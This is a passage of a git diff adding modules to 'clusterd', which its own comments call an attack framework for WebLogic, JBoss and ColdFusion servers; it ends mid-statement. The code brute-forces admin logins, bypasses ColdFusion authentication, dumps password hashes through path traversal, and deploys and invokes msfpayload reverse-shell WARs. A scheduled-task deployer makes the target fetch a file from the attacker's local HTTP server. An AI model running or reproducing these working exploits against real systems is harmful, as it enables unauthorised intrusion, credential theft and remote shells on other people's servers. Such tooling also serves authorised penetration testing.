+Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 +Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 +Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 +Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 +Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 +Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 +Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 +Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 +Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 +Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 +Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 +Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 +Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 +Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 +Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 +Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 +Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 +Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 +Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 +Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 +Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 +Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 +Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 +Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 +Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 +Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 +Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 diff --git a/src/lib/weblogic/DemoTrust.jks b/src/lib/weblogic/DemoTrust.jks new file mode 100644 index 0000000..6529134 Binary files /dev/null and b/src/lib/weblogic/DemoTrust.jks differ diff --git a/src/lib/weblogic/README b/src/lib/weblogic/README new file mode 100644 index 0000000..7804291 --- /dev/null +++ b/src/lib/weblogic/README @@ -0,0 +1,9 @@ +WebLogic libs +============ + +wlfullclient - Not included by default +wlcipher.jar - Not included by default (required for T3S connections) +DemoTrust.jks - taken from a 12.1 install, required for SSL + +WebLogic is ridiculous and doesn't have a neat HTTP API by default, so we +need to use WL libraries to invoke enterprise MBeans. diff --git a/src/lib/weblogic/checkauth/checkauth.sh b/src/lib/weblogic/checkauth/checkauth.sh new file mode 100755 index 0000000..99f6491 --- /dev/null +++ b/src/lib/weblogic/checkauth/checkauth.sh @@ -0,0 +1,49 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework +# + +# +# This interfaces with weblogic.Admin to grab the VERSION from the remote +# weblogic server. It's core intent is a login attempt +# +# Invocation: +# ./checkauth.sh [remote ip] [remote port] [username] [password] +# +# Pass in "ssl" as the fifth argument if we are connecting to an SSL server +# + +args="" +util="weblogic.Admin" +usr="-username $3" +pswd="-password $4" + +if [ $# -eq 5 ] && [ "$5" = "ssl" ]; then + url="-adminurl t3s://$1:$2" + + # this fixes a bug in weblogic urandom + ssl_fix="-Djava.security.egd=file:/dev/./urandom" + + # this disregards hostname verification in SSL + hostname="-Dweblogic.security.SSL.ignoreHostnameVerification=true" + + # most servers i've found don't bother changing up the keystore + dks="-Dweblogic.security.SSL.trustedCAKeyStore=../DemoTrust.jks" + + # allow small RSA exponents in weak certs + rsa="-Dweblogic.security.SSL.allowSmallRSAExponent=true" + + # constraints yo + cons="-Dweblogic.security.SSL.enforceConstraints=off" + + # debug + debug="-Dssl.debug=true" + debug2="-Dweblogic.StdoutDebugEnabled=true" + args="$ssl_fix $hostname $dks $cons $debug $debug2 $rsa $util $url $usr $pswd" +else + url="-adminurl t3://$1:$2" + args="$util $url $usr $pswd" +fi + +java -cp .:../wlfullclient.jar:../wlcipher.jar $args VERSION 2>/dev/null diff --git a/src/lib/weblogic/getinfo/gettype.sh b/src/lib/weblogic/getinfo/gettype.sh new file mode 100755 index 0000000..394ab3a --- /dev/null +++ b/src/lib/weblogic/getinfo/gettype.sh @@ -0,0 +1,40 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework +# + +# +# This interfaces with weblogic.Admin to pull specific JVM and host information. +# Even though I can use -property to fetch individual properties, its much quicker +# to grab everything at once. +# +# Invocation: +# ./gettype.sh [remote ip] [remote port] [username] [password] [type] +# +# Where type is the MBean type to dump info from. A list of these can be found at: +# http://middlewaremagic.com/weblogic/?tag=weblogic-utilities +# You can also use "query -pattern *:*" to fetch all MBeans. +# +# Pass in "ssl" as the sixth argument if we are connecting to an SSL server +# + +args="" +util="weblogic.Admin" +usr="-username $3" +pswd="-password $4" + +if [ $# -eq 6 ] && [ "$6" = "ssl" ]; then + url="-adminurl t3s://$1:$2" + + # see checkauth.sh for notes on these + ssl_fix="-Djava.security.egd=file:/dev/./urandom" + hostname="-Dweblogic.security.SSL.ignoreHostnameVerification=true" + dks="-Dweblogic.security.SSL.trustedCAKeyStore=../DemoTrust.jks" + args="$ssl_fix $hostname $dks $util $url $usr $pswd" +else + url="-adminurl t3://$1:$2" + args="$util $url $usr $pswd" +fi + +java -cp .:../wlfullclient.jar:../wlcipher.jar $args GET -type $5 -pretty 2>/dev/null diff --git a/src/lib/weblogic/list_apps/list_apps.sh b/src/lib/weblogic/list_apps/list_apps.sh new file mode 100755 index 0000000..0954a06 --- /dev/null +++ b/src/lib/weblogic/list_apps/list_apps.sh @@ -0,0 +1,34 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework +# + +# +# This interfaces with weblogic.Deployer to fetch a list of all deployed apps +# +# Invocation: +# ./list_apps.sh [remote ip] [remote port] [username] [password] +# +# Pass in "ssl" as the fifth argument if we are connecting to an SSL server +# + +args="" +util="weblogic.Deployer" +usr="-username $3" +pswd="-password $4" + +if [ $# -eq 5 ] && [ "$5" = "ssl" ]; then + url="-adminurl t3s://$1:$2" + + # see checkauth.sh for notes on these + ssl_fix="-Djava.security.egd=file:/dev/./urandom" + hostname="-Dweblogic.security.SSL.ignoreHostnameVerification=true" + dks="-Dweblogic.security.SSL.trustedCAKeyStore=../DemoTrust.jks" + args="$ssl_fix $hostname $dks $util $url $usr $pswd" +else + url="-adminurl t3://$1:$2" + args="$util $url $usr $pswd" +fi + +java -cp .:../wlfullclient.jar:../wlcipher.jar $args -listapps 2>/dev/null diff --git a/src/lib/weblogic/web_deploy/web_deploy.sh b/src/lib/weblogic/web_deploy/web_deploy.sh new file mode 100755 index 0000000..b2997f9 --- /dev/null +++ b/src/lib/weblogic/web_deploy/web_deploy.sh @@ -0,0 +1,35 @@ +#!/bin/sh + +# +# This application is part of the clusterd attack framework +# + +# +# This interfaces with weblogic.Deployer to deploy WAR's to the remote WebLogic +# server. +# +# Invocation: +# ./web_deploy.sh [remote ip] [remote port] [WAR] [short name] [username] [password] +# +# Pass in "ssl" as the fifth argument if we are connecting to an SSL server +# + +args="" +util="weblogic.Deployer" +usr="-username $5" +pswd="-password $6" + +if [ $# -eq 7 ] && [ "$7" = "ssl" ]; then + url="-adminurl t3s://$1:$2" + + # see checkauth.sh for notes on these + ssl_fix="-Djava.security.egd=file:/dev/./urandom" + hostname="-Dweblogic.security.SSL.ignoreHostnameVerification=true" + dks="-Dweblogic.security.SSL.trustedCAKeyStore=../DemoTrust.jks" + args="$ssl_fix $hostname $dks $util $url $usr $pswd" +else + url="-adminurl t3://$1:$2" + args="$util $url $usr $pswd" +fi + +java -cp .:../wlfullclient.jar:../wlcipher.jar $args -deploy $3 -id $4 -upload 2>/dev/null diff --git a/src/module/__init__.py b/src/module/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/module/deploy_utils.py b/src/module/deploy_utils.py new file mode 100644 index 0000000..2499d63 --- /dev/null +++ b/src/module/deploy_utils.py @@ -0,0 +1,211 @@ +from src.platform.weblogic.interfaces import WINTERFACES +from time import sleep +from subprocess import Popen, PIPE, check_output +from signal import SIGINT +from os import kill, system, path +from sys import stdout +from commands import getoutput +from log import LOG +import importlib +import pkgutil +import state +import utility + + +def _serve(war_file = None): + """ Launch a SimpleHTTPServer listener to serve up our WAR file + to the requesting host. This is used primarily to serve a WAR + to JBoss' jmx_deployer. + + If war_file is provided, this will make a copy of this file into + our temp dir and remove it once its been completed. + """ + + try: + if war_file: + system("cp %s %s" % (war_file, state.serve_dir)) + + proc = Popen(["python", "-m", "SimpleHTTPServer"], stdout=PIPE, + stderr=PIPE, cwd=state.serve_dir) + + while 'GET' not in proc.stderr.readline(): + sleep(1.0) + sleep(1.0) + except Exception, e: + utility.Msg(e, LOG.DEBUG) + finally: + kill(proc.pid, SIGINT) + + if war_file: + war_name = war_file.rsplit('/', 1)[1] + # remove our copied file + system("rm -f %s/%s" % (war_name, state.serve_dir)) + + +def waitServe(servert): + """ Small function used to wait for a _serve thread to receive + a GET request. See _serve for more information. + + servert should be a running thread. + """ + + timeout = 10 + status = False + + try: + while servert.is_alive() and timeout > 0: + stdout.flush() + stdout.write("\r\033[32m [%s] Waiting for remote server to " + "download file [%ds]" % (utility.timestamp(), timeout)) + sleep(1.0) + timeout -= 1 + except: + timeout = 0 + + if timeout is not 10: + print '' + + if timeout is 0: + utility.Msg("Remote server failed to retrieve file.", LOG.ERROR) + else: + status = True + + return status + + +def wc_invoke(url, local_url, usr = None, pswd = None): + """ Invoke the webconsole deployer + """ + + res = None + try: + res = check_output(["./webc_deploy.sh", url, local_url, str(usr), + str(pswd)], + cwd="./src/lib/jboss/webconsole_deploy") + except Exception, e: + utility.Msg(e, LOG.DEBUG) + res = e + + return res + + +def invkdeploy(version, url, local_url): + """ + """ + + res = None + try: + res = check_output(["./invkdeploy.sh", version, url, local_url], + cwd="./src/lib/jboss/jmxinvoke_deploy") + except Exception, e: + utility.Msg(e, LOG.DEBUG) + res = e + + return res + + +def bsh_deploy(arch, url, version, usr = None, pswd = None): + """ Invoke the BSHDeployer + """ + + res = None + try: + res = check_output(["./bshdeploy.sh", url, arch, version, + str(usr), str(pswd)], + cwd="./src/lib/jboss/bsh_deploy") + except Exception, e: + utility.Msg(e, LOG.DEBUG) + res = e + + return res + + +def wlweb_deploy(ip, fingerprint, war, usr, pswd): + """ Invoke weblogic's web deployer + """ + + res = None + try: + short_war = parse_war_path(war) + args = ["./web_deploy.sh", ip, str(fingerprint.port), war, short_war, + usr, pswd] + + if fingerprint.title is WINTERFACES.WLS: + args.append("ssl") + + res = check_output(args, cwd="./src/lib/weblogic/web_deploy") + except Exception, e: + utility.Msg(e, LOG.DEBUG) + res = e + + return res + + +def deploy_list(): + """ Simple function for dumping all deployers for supported + platforms. This lists them in the format INTERFACE (name), where + name is used for matching. + """ + + for platform in state.supported_platforms: + + utility.Msg("Deployers for '%s'" % platform, LOG.UPDATE) + load = importlib.import_module('src.platform.%s.deployers' % platform) + + # load all deployers + modules = list(pkgutil.iter_modules(load.__path__)) + if len(modules) <= 0: + utility.Msg("\tNo deployers found.") + continue + + for deployer in modules: + + dp = deployer[0].find_module(deployer[1]).load_module(deployer[1]) + utility.Msg("\t%s (%s [%s])" % (dp.title, deployer[1], '|'.join(dp.versions))) + + +def auxiliary_list(): + """ Lists all platform auxiliary modules + """ + + for platform in state.supported_platforms: + + utility.Msg("Auxiliarys for '%s'" % platform, LOG.UPDATE) + load = importlib.import_module('src.platform.%s.auxiliary' % platform) + + modules = list(pkgutil.iter_modules(load.__path__)) + if len(modules) <= 0: + utility.Msg("\tNo auxiliarys found.") + continue + + for auxiliary in modules: + + aux = auxiliary[0].find_module(auxiliary[1]).load_module(auxiliary[1]).Auxiliary() + if not aux.show: + utility.Msg("\t%s ([%s] --%s)" % (aux.name, + '|'.join(aux.versions), aux.flag)) + + +def parse_war_path(war, include_war = False): + """ Parse off the raw WAR name for setting its context + """ + + if '/' in war: + war = war.rsplit('/', 1)[1] + + if include_war: + return war + else: + return war.split('.')[0] + + +def check_wl_libs(): + """ Determines if the necessary libraries for WebLogic are in place. + Because of redistribution licensing, clusterd cannot be distributed + with the necessary WL libs. + """ + + wpath = "./src/lib/weblogic/wlfullclient.jar" + if path.exists(wpath): + return True + return False diff --git a/src/module/generate_payload.py b/src/module/generate_payload.py new file mode 100644 index 0000000..385cbaa --- /dev/null +++ b/src/module/generate_payload.py @@ -0,0 +1,81 @@ +from commands import getoutput +from log import LOG +import utility + + +def run(options): + """ This module is used for generating reverse shell payloads. It's not + flexible in what sorts of payloads it can generate, but this is by design. + + Highly customized payloads, or stuff like meterpreter/reverse java payloads + should be generated using proper tools, such as msfpayload. This is merely + a quick way for us to get a reverse shell on a remote system. + """ + + if not options.remote_os: + utility.Msg("Please specify a remote os (-o)", LOG.ERROR) + return + + if not options.remote_service: + utility.Msg("Please specify a remote service (-a)", LOG.ERROR) + return + elif options.remote_service in ["coldfusion"]: + out = "R > shell.jsp" + + if getoutput("which msfpayload") == "": + utility.Msg("This option requires msfpayload", LOG.ERROR) + return + + payload = fetch_payload(options) + out = "W > shell.war" + + if not payload: + utility.Msg("Platform %s unsupported" % + fingerengine.options.remote_service, LOG.ERROR) + return + + utility.Msg("Generating payload....") + (lhost, lport) = options.generate_payload.split(":") + + resp = getoutput("msfpayload %s LHOST=%s LPORT=%s %s &>/dev/null" % + (payload, lhost, lport, out)) + + if "Created by" in resp: + utility.Msg("Payload generated (%s). Payload: %s" % (out.split(' ')[2], payload)) + + # also log some auxiliary information + getoutput("echo Generated at %s > ./src/lib/shell.log" % utility.timestamp()) + getoutput("echo %s:%s >> ./src/lib/shell.log" % (lhost, lport)) + getoutput("echo %s >> ./src/lib/shell.log" % (payload)) + else: + utility.Msg("Error generating payload: %s" % resp, LOG.ERROR) + + +def fetch_payload(options): + """ Helper function for fetching the payload string + """ + + payloads = {"windows" : {}, + "linux" : {} + } + if options.remote_service in ["jboss", "tomcat"]: + + payloads["windows"] = { "x86" : "windows/shell/reverse_tcp", + "x64" : "windows/shell/reverse_tcp"} + + payloads["linux"] = { "x86" : "linux/x86/shell/reverse_tcp", + "x64" : "linux/x64/shell/reverse_tcp"} + + elif options.remote_service in ["coldfusion"]: + + dmap = { "x86" : "java/jsp_shell_reverse_tcp", + "x64" : "java/jsp_shell_reverse_tcp" } + + payloads["windows"] = dmap + payloads["linux"] = dmap + + else: + # unsupported + return None + + return payloads[options.remote_os][options.arch] diff --git a/src/module/invoke_payload.py b/src/module/invoke_payload.py new file mode 100644 index 0000000..68e56cc --- /dev/null +++ b/src/module/invoke_payload.py @@ -0,0 +1,82 @@ +from src.module.deploy_utils import parse_war_path +from commands import getoutput +from log import LOG +import utility + + +def invoke(fingerengine, fingerprint): + """ + """ + + if fingerengine.service in ["jboss", "tomcat"]: + return invoke_war(fingerengine, fingerprint) + + elif fingerengine.service in ["coldfusion"]: + return invoke_cf(fingerengine, fingerprint) + + else: + utility.Msg("Platform %s does not support --invoke" % + fingerengine.options.remote_service, LOG.ERROR) + +def invoke_war(fingerengine, fingerprint): + """ Invoke a deployed WAR file on the remote server. + + This uses unzip because Python's zip module isn't very portable or + fault tolerant; i.e. it fails to parse msfpayload-generated WARs, though + this is a fault of metasploit, not the Python module. + """ + + dfile = fingerengine.options.deploy + + jsp = getoutput("unzip -l %s | grep jsp" % dfile).split(' ')[-1] + if jsp == '': + utility.Msg("Failed to find a JSP in the deployed WAR", LOG.DEBUG) + return + + else: + utility.Msg("Using JSP {0} from {1} to invoke".format(jsp, dfile), LOG.DEBUG) + + url = "http://{0}:{1}/{2}/{3}".format(fingerengine.options.ip, + fingerprint.port, + parse_war_path(dfile), + jsp) + + if _invoke(url): + utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) + else: + utility.Msg("Failed to invoke {0} (HTTP {1})".format( + parse_war_path(dfile, True), + response.status_code), + LOG.ERROR) + + +def invoke_cf(fingerengine, fingerprint): + """ + """ + + dfile = parse_war_path(fingerengine.options.deploy, True) + url = "http://{0}:{1}/CFIDE/{2}".format(fingerengine.options.ip, + fingerprint.port, + dfile) + + if _invoke(url): + utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) + else: + utility.Msg("Failed to invoke {0}".format(dfile, LOG.ERROR)) + + +def _invoke(url): + """ Make the request + """ + + status = False + try: + response = utility.requests_get(url) + if response.status_code == 200: + status = True + + except Exception, e: + utility.Msg("Failed to invoke payload: %s" % e, LOG.ERROR) + status = False + + return status diff --git a/src/platform/__init__.py b/src/platform/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/coldfusion/__init__.py b/src/platform/coldfusion/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/coldfusion/authenticate.py b/src/platform/coldfusion/authenticate.py new file mode 100644 index 0000000..5f72a84 --- /dev/null +++ b/src/platform/coldfusion/authenticate.py @@ -0,0 +1,115 @@ +from requests.auth import HTTPDigestAuth +from requests.utils import dict_from_cookiejar +from log import LOG +from sys import stdout +from hashlib import sha1 +from re import findall +import hmac +import utility +import state + +default_credentials = [("admin", "admin")] + +def _salt(url): + """ ColdFusion requires a salt that it uses client-side and sends + back to the server, which it is expecting. We can obtain the next salt + by simply requesting it. + """ + + r = utility.requests_get(url) + if r.status_code is 200: + + salt = findall("name=\"salt\" type=\"hidden\" value=\"(.*?)\">", r.content) + return salt[0] + + +def _auth(usr, pswd, url, version): + """ Authenticate to the remote ColdFusion server; bit of a pain + """ + + if version in ['9.0']: + salt = _salt(url) + hsh = hmac.new(salt, sha1(pswd).hexdigest().upper(), sha1).hexdigest().upper() + data = {"cfadminPassword" : hsh, + "requestedURL" : "/CFIDE/administrator/enter.cfm?", + "cfadminUserId" : usr, + "salt" : salt, + "submit" : "Login" + } + + elif version in ['10.0']: + + hsh = sha1(pswd).hexdigest().upper() + data = {'cfadminPassword' : hsh, + 'requestedURL' : '/CFIDE/administrator/enter.cfm?', + 'cfadminUserId' : usr, + 'submit' : 'Login' + } + + try: + res = utility.requests_post(url, data=data) + if res.status_code is 200 and len(res.history) > 0: + utility.Msg("Successfully authenticated with %s:%s" % (usr, pswd), LOG.DEBUG) + return (dict_from_cookiejar(res.history[0].cookies), None) + + except Exception, e: + utility.Msg("Error authenticating: %s" % e, LOG.ERROR) + return (None, None) + + +def checkAuth(ip, port, title, version): + """ + """ + + url = "http://{0}:{1}/CFIDE/administrator/enter.cfm".format(ip, port) + + # check with given auth + if state.usr_auth: + (usr, pswd) = state.usr_auth.split(':') + return _auth(usr, pswd, url, version) + + # else try default creds + for (usr, pswd) in default_credentials: + cook = _auth(usr, pswd, url, version) + if cook: + return cook + + # if we're still here, check if they supplied a wordlist + if state.bf_wordlist and not state.hasbf: + + state.hasbf = True + wordlist = [] + try: + with open(state.bf_wordlist, 'r') as f: + # ensure everything is ascii or requests will explode + wordlist = [x.decode('ascii', 'ignore').rstrip() for x in f.readlines()] + except Exception, e: + utility.Msg("Failed to read wordlist (%s)" % e, LOG.ERROR) + return + + utility.Msg("Brute forcing account %s with %d passwords..." % + (state.bf_user, len(wordlist)), LOG.DEBUG) + + try: + + for (idx, word) in enumerate(wordlist): + stdout.flush() + stdout.write("\r\033[32m [%s] Brute forcing password for %s [%d/%d]\033[0m"\ + % (utility.timestamp(), state.bf_user, idx+1, + len(wordlist))) + + cook = _auth(state.bf_user, word, url, version) + if cook: + print '' # newline + + if not (state.bf_user, word) in default_credentials: + default_credentials.insert(0, (state.bf_user, word)) + + utility.Msg("Successful login %s:%s" % + (state.bf_user, word), LOG.SUCCESS) + return cook + + print '' + + except KeyboardInterrupt: + pass diff --git a/src/platform/coldfusion/auxiliary/__init__.py b/src/platform/coldfusion/auxiliary/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/coldfusion/auxiliary/admin_bypass.py b/src/platform/coldfusion/auxiliary/admin_bypass.py new file mode 100644 index 0000000..6823120 --- /dev/null +++ b/src/platform/coldfusion/auxiliary/admin_bypass.py @@ -0,0 +1,40 @@ +from auxiliary import Auxiliary +from log import LOG +import utility + + +class Auxiliary: + + def __init__(self): + self.name = "Administrative Login Bypass" + self.versions = ["9.0"] + self.show = False + self.flag = 'cf-bypass' + + def check(self, fingerprint): + if fingerprint.version in self.versions: + return True + + return False + + def run(self, fingerengine, fingerprint): + + utility.Msg("Checking RDS...") + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerengine.options.port) + + url = base + "/CFIDE/adminapi/administrator.cfc?method=login" + + payload = {'adminpassword':'', + 'rdsPasswordAllowed':1 + } + + rval = utility.requests_post(url, payload) + if rval.status_code is 200: + rval = rval.content + if "true" in rval: + rval = utility.requests_get(base + "/CFIDE/administrator/index.cfm") + + if rval.status_code is 200: + utility.Msg("Login bypass successful.", LOG.SUCCESS) + else: + utility.Msg("System not vulnerable.", LOG.ERROR) diff --git a/src/platform/coldfusion/auxiliary/fetch_hashes.py b/src/platform/coldfusion/auxiliary/fetch_hashes.py new file mode 100644 index 0000000..04d6d2e --- /dev/null +++ b/src/platform/coldfusion/auxiliary/fetch_hashes.py @@ -0,0 +1,108 @@ +from auxiliary import Auxiliary +from log import LOG +import utility +import re + + +class Auxiliary: + """ Classic password hash retrieval in versions + 6,7,8,9, and 10. 9/10 do it a bit differently, so we use a separate + function for that. + """ + + def __init__(self): + self.name = 'Administrative Hash Disclosure' + self.versions = ["6.0", "7.0", "8.0", "9.0", "10.0"] + self.show = False + self.flag = 'cf-hash' + + def check(self, fingerprint): + """ + """ + + if fingerprint.version in self.versions: + return True + + return False + + def run(self, fingerengine, fingerprint): + utility.Msg("Attempting to dump administrative hash...") + + if float(fingerprint.version) > 8.0: + return self.run_latter(fingerengine, fingerprint) + + directories = ['/CFIDE/administrator/enter.cfm', + '/CFIDE/wizards/common/_logintowizard.cfm', + '/CFIDE/administrator/archives/index.cfm', + '/CFIDE/install.cfm', + '/CFIDE/administrator/entman/index.cfm', + ] + + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) + for path in directories: + + uri = "{0}?locale={1}ColdFusion8"\ + "\lib\password.properties%00en" + for dots in range(7,12): + + if fingerengine.options.remote_os == 'linux': + t_url = uri.format(path, "../" * dots) + else: + t_url = uri.format(path, "..\\" * dots) + + response = utility.requests_get(base + t_url) + if response.status_code == 200: + + pw_hash = re.findall("password=(.*?)\r\n", response.content) + if len(pw_hash) > 0: + utility.Msg("Administrative hash: %s" % pw_hash[1], LOG.SUCCESS) + return + + def run_latter(self, fingerengine, fingerprint): + """ There's a slightly different way of doing this for 9/10, so we do that here + """ + + paths = [] + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) + uri = "/CFIDE/adminapi/customtags/l10n.cfm?attributes.id=it"\ + "&attributes.file=../../administrator/mail/download.cfm"\ + "&filename={0}&attributes.locale=it&attributes.var=it"\ + "&attributes.jscript=false&attributes.type=text/html"\ + "&attributes.charset=UTF-8&thisTag.executionmode=end"\ + "&thisTag.generatedContent=htp" + + if fingerengine.options.remote_os == 'linux': + paths.append('{0}opt/coldfusion/cfusion/lib/password.properties'.format("../" * 9)) + if fingerprint.version == "9.0": + paths.append('{0}opt/coldfusion9/cfusion/lib/password.properties'\ + .format("../" * 9)) + else: + paths.append('{0}opt/coldfusion10/cfusion/lib/password.properties'\ + .format("../" * 9)) + + else: + paths.append('{0}ColdFusion\lib\password.properties'.format("..\\" * 9)) + if fingerprint.version == "9.0": + paths.append('{0}ColdFusion9\lib\password.properties'\ + .format("..\\" * 9)) + paths.append('{0}ColdFusion9\cfusion\lib\password.properties'\ + .format("..\\" * 9)) + else: + paths.append('{0}ColdFusion10\lib\password.properties'\ + .format("..\\" * 9)) + paths.append('{0}ColdFusion10\cfusion\lib\password.properties'\ + .format("..\\" * 9)) + + for path in paths: + url = base + uri.format(path) + + response = utility.requests_get(url) + if response.status_code == 200: + + pw_hash = re.findall("password=(.*?)\r\n", response.content) + if len(pw_hash) > 0: + utility.Msg("Administrative hash: %s" % pw_hash[1], LOG.SUCCESS) + return + + utility.Msg("Failed to obtain hash (HTTP %d)" % response.status_code, + LOG.ERROR) diff --git a/src/platform/coldfusion/auxiliary/info_dump.py b/src/platform/coldfusion/auxiliary/info_dump.py new file mode 100644 index 0000000..3e8ad94 --- /dev/null +++ b/src/platform/coldfusion/auxiliary/info_dump.py @@ -0,0 +1,62 @@ +from src.platform.coldfusion.authenticate import checkAuth +from src.platform.coldfusion.interfaces import CINTERFACES +from auxiliary import Auxiliary +from log import LOG +from re import findall +import utility + + +class Auxiliary: + + def __init__(self): + self.name = 'Dump host information' + self.versions = ['9.0', '10.0'] + self.show = True + self.flag = 'cf-info' + + def check(self, fingerprint): + if fingerprint.title == CINTERFACES.CFM and \ + fingerprint.version in self.versions: + return True + return False + + def run(self, fingerengine, fingerprint): + """ Obtains remote Coldfusion information from the reports index page. + This pulls the first 26 entries from this report, as there's lots of + extraneous stuff. Perhaps if requested I'll prompt to extend to the + remainder of the settings. + """ + + utility.Msg("Attempting to retrieve Coldfusion info...") + + base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) + uri = "/CFIDE/administrator/reports/index.cfm" + + response = utility.requests_get(base + uri) + if response.status_code == 200 and "ColdFusion Administrator Login" \ + in response.content: + + utility.Msg("Host %s:%s requires auth, checking..." % + (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) + cookies = checkAuth(fingerengine.options.ip, fingerprint.port, + fingerprint.title, fingerprint.version) + + if cookies: + response = utility.requests_get(base + uri, cookies=cookies[0]) + else: + utility.Msg("Could not get auth for %s:%s" % + (fingerengine.options.ip, fingerprint.port), LOG.ERROR) + return + + if response.status_code == 200: + + types = findall("(.*?)", + response.content.translate(None, "\n\t\r")) + data = findall("(.*?)", + response.content.translate(None, "\n\t\r")) + + # pad + types.insert(0, "Version") + + for (row, data) in zip(types, data)[:26]: + utility.Msg(' %s: %s' % (row, data[:-7])) diff --git a/src/platform/coldfusion/deployers/__init__.py b/src/platform/coldfusion/deployers/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/src/platform/coldfusion/deployers/schedule_job.py b/src/platform/coldfusion/deployers/schedule_job.py new file mode 100644 index 0000000..17dda29 --- /dev/null +++ b/src/platform/coldfusion/deployers/schedule_job.py @@ -0,0 +1,168 @@ +from src.platform.coldfusion.interfaces import CINTERFACES +from src.platform.coldfusion.authenticate import checkAuth +from src.module.deploy_utils import _serve, waitServe, parse_war_path +from os.path import abspath +from log import LOG +from threading import Thread +from re import findall +from time import sleep +import utility + + +title = CINTERFACES.CFM +versions = ['9.0'] # needs testing for older versions +def deploy(fingerengine, fingerprint): + """ + """ + + cfm_path = abspath(fingerengine.options.deploy) + cfm_file = parse_war_path(cfm_path, True) + dip = fingerengine.options.ip + + utility.Msg("Preparing to deploy {0}...".format(cfm_file)) + utility.Msg("Fetching web root...", LOG.DEBUG) + + # fetch web root; this is where we stash the file + root = fetch_webroot(dip, fingerprint) + if not root: + utility.Msg("Unable to fetch web root.", LOG.ERROR) + return + + # create the scheduled task + utility.Msg("Web root found at %s" % root, LOG.DEBUG) + utility.Msg("Creating scheduled task...") + + if not create_task(dip, fingerprint, cfm_file, root): + return + + # invoke the task + utility.Msg("Task %s created, invoking task..." % cfm_file) + run_task(dip, fingerprint, cfm_path) + + # remove the task + utility.Msg("Cleaning up...") + delete_task(dip, fingerprint, cfm_file) + + +def create_task(ip, fingerprint, cfm_file, root): + """ Create the task + """ + + url = "http://{0}:{1}/CFIDE/administrator/scheduler/scheduleedit.cfm".\ + format(ip, fingerprint.port) + + (cookie, csrf) = fetch_csrf(ip, fingerprint, url) + data = { + "csrftoken" : csrf, + "TaskName" : cfm_file, + "Start_Date" : "Jan 27, 2014", # shouldnt matter since we force run + "ScheduleType" : "Once", + "StartTimeOnce" : "9:56 PM", # see above + "Operation" : "HTTPRequest", + "ScheduledURL" : "http://{0}:8000/{1}".format(utility.local_address(), cfm_file), + "publish" : "1", + "publish_file" : root + "\\" + cfm_file, # slash on OS? + "adminsubmit" : "Submit" + } + + response = 